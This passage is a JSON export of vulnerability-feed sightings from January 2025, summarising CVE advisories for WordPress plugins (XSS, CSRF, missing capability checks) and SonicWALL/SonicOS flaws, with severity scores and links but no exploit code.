"vulnerability": "CVE-2024-12736", "type": "seen", "source": "https://t.me/cvedetector/14783", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12736 - WordPress BU Section Editing Reflected Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12736 \nPublished : Jan. 9, 2025, 6:15 a.m. | 19\u00a0minutes ago \nDescription : The BU Section Editing WordPress plugin through 0.9.9 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T07:43:07.000000Z"}, {"uuid": "6f17a40c-7b9c-4ff4-897a-aadb5c675f7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12805", "type": "seen", "source": "https://t.me/cvedetector/14820", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12805 - SonicOS Format String Vulnerability (Crash/RCE)\", \n  \"Content\": \"CVE ID : CVE-2024-12805 \nPublished : Jan. 9, 2025, 8:15 a.m. | 40\u00a0minutes ago \nDescription : A post-authentication format string vulnerability in SonicOS management allows a remote attacker to crash a firewall and potentially leads to code execution. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T10:14:09.000000Z"}, {"uuid": "110e898b-c06e-4b1e-910d-5584a7e5e1a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12714", "type": "seen", "source": "https://t.me/cvedetector/14788", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12714 - Apache Backlink Monitoring Manager Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12714 \nPublished : Jan. 9, 2025, 6:15 a.m. | 19\u00a0minutes ago \nDescription : The Backlink Monitoring Manager WordPress plugin through 0.1.3 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T07:43:14.000000Z"}, {"uuid": "1fca4a53-2a23-44ec-a0ee-5014965c6d53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12585", "type": "seen", "source": "https://t.me/cvedetector/14658", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12585 - Property Hive WordPress XSS Governance Failure\", \n  \"Content\": \"CVE ID : CVE-2024-12585 \nPublished : Jan. 8, 2025, 6:15 a.m. | 40\u00a0minutes ago \nDescription : The Property Hive WordPress plugin before 2.1.1 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-08T08:17:24.000000Z"}, {"uuid": "e03cb2d3-a093-4087-8a18-370d917adcb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12713", "type": "seen", "source": "https://t.me/cvedetector/14650", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12713 - WordPress SureForms Information Exposure\", \n  \"Content\": \"CVE ID : CVE-2024-12713 \nPublished : Jan. 8, 2025, 4:15 a.m. | 29\u00a0minutes ago \nDescription : The SureForms \u2013 Drag and Drop Form Builder for WordPress plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 1.2.2 via the handle_export_form() function due to a missing capability check. This makes it possible for unauthenticated attackers to export data from password protected, private, or draft posts that they should not have access to. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-08T05:46:57.000000Z"}, {"uuid": "e012399f-363a-4626-aefa-c35775478869", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12493", "type": "seen", "source": "https://t.me/cvedetector/14841", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12493 - WordPress Files Download Delay Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12493 \nPublished : Jan. 9, 2025, 11:15 a.m. | 22\u00a0minutes ago \nDescription : The Files Download Delay plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'fddwrap' shortcode in all versions up to, and including, 1.0.9 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T12:44:52.000000Z"}, {"uuid": "8e794772-570a-4bf1-9bba-e2db608e7e26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12491", "type": "seen", "source": "https://t.me/cvedetector/14840", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12491 - SimplyRETS Real Estate IDX WordPress Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12491 \nPublished : Jan. 9, 2025, 11:15 a.m. | 22\u00a0minutes ago \nDescription : The SimplyRETS Real Estate IDX plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'sr_search_form' shortcode in all versions up to, and including, 2.11.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T12:44:51.000000Z"}, {"uuid": "147f618c-84af-449f-bd4f-1a577c244960", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12394", "type": "seen", "source": "https://t.me/cvedetector/14839", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12394 - Action Network (WordPress) CSRF\", \n  \"Content\": \"CVE ID : CVE-2024-12394 \nPublished : Jan. 9, 2025, 11:15 a.m. | 22\u00a0minutes ago \nDescription : The Action Network plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.4.4. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T12:44:51.000000Z"}, {"uuid": "99745fc4-3a1e-4ce7-9659-4a01a6ae2b4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12717", "type": "seen", "source": "https://t.me/cvedetector/14781", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12717 - Aklamator INfeed WordPress Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12717 \nPublished : Jan. 9, 2025, 6:15 a.m. | 19\u00a0minutes ago \nDescription : The Aklamator INfeed WordPress plugin through 2.0.0 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup). \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T07:43:06.000000Z"}, {"uuid": "b7ff8a4d-03d6-4a5b-a456-9a2b559e84bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12616", "type": "seen", "source": "https://t.me/cvedetector/14838", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12616 - Bitly WordPress Plugin Unauthenticated Data Modification Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12616 \nPublished : Jan. 9, 2025, 11:15 a.m. | 22\u00a0minutes ago \nDescription : The Bitly's WordPress Plugin plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on several AJAX actions in all versions up to, and including, 2.7.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update and retrieve plugin settings. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T12:44:50.000000Z"}, {"uuid": "2791f87b-c6af-4cb8-afe0-ae3edaa29aea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12222", "type": "seen", "source": "https://t.me/cvedetector/14846", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12222 - Shipos for WooCommerce Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12222 \nPublished : Jan. 9, 2025, 11:15 a.m. | 22\u00a0minutes ago \nDescription : The Deliver via Shipos for WooCommerce plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018dvsfw_bulk_label_url\u2019 parameter in all versions up to, and including, 2.1.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T12:44:59.000000Z"}, {"uuid": "0306b956-7337-440c-961d-7fccc439d544", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12218", "type": "seen", "source": "https://t.me/cvedetector/14845", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12218 - Woocommerce Shipping Plugin CSRF\", \n  \"Content\": \"CVE ID : CVE-2024-12218 \nPublished : Jan. 9, 2025, 11:15 a.m. | 22\u00a0minutes ago \nDescription : The Woocommerce check pincode/zipcode for shipping plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.0.4. This is due to missing or incorrect nonce validation. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T12:44:59.000000Z"}, {"uuid": "fb111cde-348a-4690-beb5-06c2c6d1e9e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12206", "type": "seen", "source": "https://t.me/cvedetector/14844", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12206 - WordPress Pearl Header Builder CSRF\", \n  \"Content\": \"CVE ID : CVE-2024-12206 \nPublished : Jan. 9, 2025, 11:15 a.m. | 22\u00a0minutes ago \nDescription : The WordPress Header Builder Plugin \u2013 Pearl plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.3.8. This is due to missing or incorrect nonce validation on the stm_header_builder page. This makes it possible for unauthenticated attackers to delete arbitrary headers via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T12:44:58.000000Z"}, {"uuid": "252a81db-c691-4169-9c1b-db1a65fbc9fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12496", "type": "seen", "source": "https://t.me/cvedetector/14843", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12496 - \"WordPress Linear Plugin Stored Cross-Site Scripting Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12496 \nPublished : Jan. 9, 2025, 11:15 a.m. | 22\u00a0minutes ago \nDescription : The Linear plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'linear_block_buy_commissions' shortcode in all versions up to, and including, 2.7.12 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T12:44:57.000000Z"}, {"uuid": "640240b4-d64e-4fe4-9926-19a964d1e0ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12330", "type": "seen", "source": "https://t.me/cvedetector/14842", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12330 - Backup for WP WordPress Sensitive Information Exposure\", \n  \"Content\": \"CVE ID : CVE-2024-12330 \nPublished : Jan. 9, 2025, 11:15 a.m. | 22\u00a0minutes ago \nDescription : The WP Database Backup \u2013 Unlimited Database & Files Backup by Backup for WP plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 7.3 via publicly accessible back-up files. This makes it possible for unauthenticated attackers to extract sensitive data including all information stored in the database. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T12:44:56.000000Z"}, {"uuid": "9586cff2-c0e2-4ef1-9d32-2e7c2aeb50d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12112", "type": "seen", "source": "https://t.me/cvedetector/14649", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12112 - WordPress Easy Form Builder Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12112 \nPublished : Jan. 8, 2025, 4:15 a.m. | 29\u00a0minutes ago \nDescription : The Easy Form Builder \u2013 WordPress plugin form builder: contact form, survey form, payment form, and custom form builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'name' parameter of the 'add_form_Emsfb' AJAX action in all versions up to, and including, 3.8.8 due to insufficient input sanitization and output escaping and missing authorization checks. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-08T05:46:57.000000Z"}, {"uuid": "0abd1831-9aa9-4563-96dd-c71175ab0aa6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12605", "type": "seen", "source": "https://t.me/cvedetector/14837", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12605 - \"OpenAI Scribe CSRF\"\", \n  \"Content\": \"CVE ID : CVE-2024-12605 \nPublished : Jan. 9, 2025, 11:15 a.m. | 22\u00a0minutes ago \nDescription : The AI Scribe \u2013 SEO AI Writer, Content Generator, Humanizer, Blog Writer, SEO Optimizer, DALLE-3, AI WordPress Plugin ChatGPT (GPT-4o 128K) plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.3. This is due to missing or incorrect nonce validation on the \"al_scribe_engine_request_data\" and \"al_scribe_content_data\" actions. This makes it possible for unauthenticated attackers to update plugin settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T12:44:49.000000Z"}, {"uuid": "b14661f5-456f-4e1b-96a6-5f84e44b8c66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12542", "type": "seen", "source": "https://t.me/cvedetector/14836", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12542 - WordPress linkID Plugin Information Disclosure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12542 \nPublished : Jan. 9, 2025, 11:15 a.m. | 22\u00a0minutes ago \nDescription : The linkID plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check when including the 'phpinfo' function in all versions up to, and including, 0.1.2. This makes it possible for unauthenticated attackers to read configuration settings and predefined variables on the site's server. The plugin does not need to be activated for the vulnerability to be exploited. \nSeverity: 8.6 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T12:44:46.000000Z"}, {"uuid": "3dd6447a-f4be-4a5d-a8e5-280b06d5f738", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12515", "type": "seen", "source": "https://t.me/cvedetector/14835", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12515 - \"Salah/Iqamah Plugin Stored Cross-Site Scripting Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12515 \nPublished : Jan. 9, 2025, 11:15 a.m. | 22\u00a0minutes ago \nDescription : The Muslim Prayer Time-Salah/Iqamah plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Masjid ID parameter in all versions up to, and including, 1.8.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T12:44:45.000000Z"}, {"uuid": "db786b1c-e2c4-4a2d-8d93-1bf2b8953c6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12514", "type": "seen", "source": "https://t.me/cvedetector/14834", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12514 - 3DVieweronline WordPress Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12514 \nPublished : Jan. 9, 2025, 11:15 a.m. | 22\u00a0minutes ago \nDescription : The 3DVieweronline plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's '3Dvo-model' shortcode in all versions up to, and including, 2.2.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T12:44:44.000000Z"}, {"uuid": "55673c13-3e0a-4a1f-841d-8e7e7ee0a3c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12848", "type": "seen", "source": "https://t.me/cvedetector/14833", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12848 - WordPress SKT Page Builder Arbitrary File Upload (Remote Code Execution)\", \n  \"Content\": \"CVE ID : CVE-2024-12848 \nPublished : Jan. 9, 2025, 11:15 a.m. | 22\u00a0minutes ago \nDescription : The SKT Page Builder plugin for WordPress is vulnerable to arbitrary file uploads due to a missing capability check on the 'addLibraryByArchive' function in all versions up to, and including, 4.6. This makes it possible for authenticated attackers, with subscriber-level access and above, to upload arbitrary files that make remote code execution possible. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T12:44:44.000000Z"}, {"uuid": "2b8e162d-7ed2-4836-acc2-67d4946309d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12819", "type": "seen", "source": "https://t.me/cvedetector/14832", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12819 - Searchie WordPress Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12819 \nPublished : Jan. 9, 2025, 11:15 a.m. | 22\u00a0minutes ago \nDescription : The Searchie plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'sio_embed_media' shortcode in all versions up to, and including, 1.17.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T12:44:43.000000Z"}, {"uuid": "0a090fc6-c12d-43c4-b3c3-c93d0dc0568c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12621", "type": "seen", "source": "https://t.me/cvedetector/14831", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12621 - Yumpu E-Paper Publishing Plugin for WordPress Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12621 \nPublished : Jan. 9, 2025, 11:15 a.m. | 22\u00a0minutes ago \nDescription : The Yumpu E-Paper publishing plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'YUMPU' shortcode in all versions up to, and including, 3.0.8 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T12:44:39.000000Z"}, {"uuid": "456e4368-8c1a-4034-8da2-cdf2997c7e84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12618", "type": "seen", "source": "https://t.me/cvedetector/14830", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12618 - Newsletter2Go WordPress Plugin unauthorized DOI to reset styles Arbitrary Code Execution\", \n  \"Content\": \"CVE ID : CVE-2024-12618 \nPublished : Jan. 9, 2025, 11:15 a.m. | 22\u00a0minutes ago \nDescription : The Newsletter2Go plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'resetStyles' AJAX action in all versions up to, and including, 4.0.14. This makes it possible for authenticated attackers, with Subscriber-level access and above, to reset styles. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T12:44:38.000000Z"}, {"uuid": "3f9ec7c3-d21e-449f-a484-631e35deae74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12802", "type": "seen", "source": "https://t.me/cvedetector/14824", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12802 - SonicWALL SSL-VPN Active Directory MFA Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-12802 \nPublished : Jan. 9, 2025, 9:15 a.m. | 41\u00a0minutes ago \nDescription : SSL-VPN MFA Bypass in SonicWALL SSL-VPN can arise in specific cases due to the separate handling of UPN (User Principal Name) and SAM (Security Account Manager) account names when integrated with Microsoft Active Directory, allowing MFA to be configured independently for each login method and potentially enabling attackers to bypass MFA by exploiting the alternative account name. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T11:04:23.000000Z"}, {"uuid": "fd4ffadd-398d-45a4-a259-de01b8a5855f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12803", "type": "seen", "source": "https://t.me/cvedetector/14819", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12803 - SonicOS Remote Code Execution Buffer Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12803 \nPublished : Jan. 9, 2025, 8:15 a.m. | 40\u00a0minutes ago \nDescription : A post-authentication stack-based buffer overflow vulnerability in SonicOS management allows a remote attacker to crash a firewall and potentially leads to code execution. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": 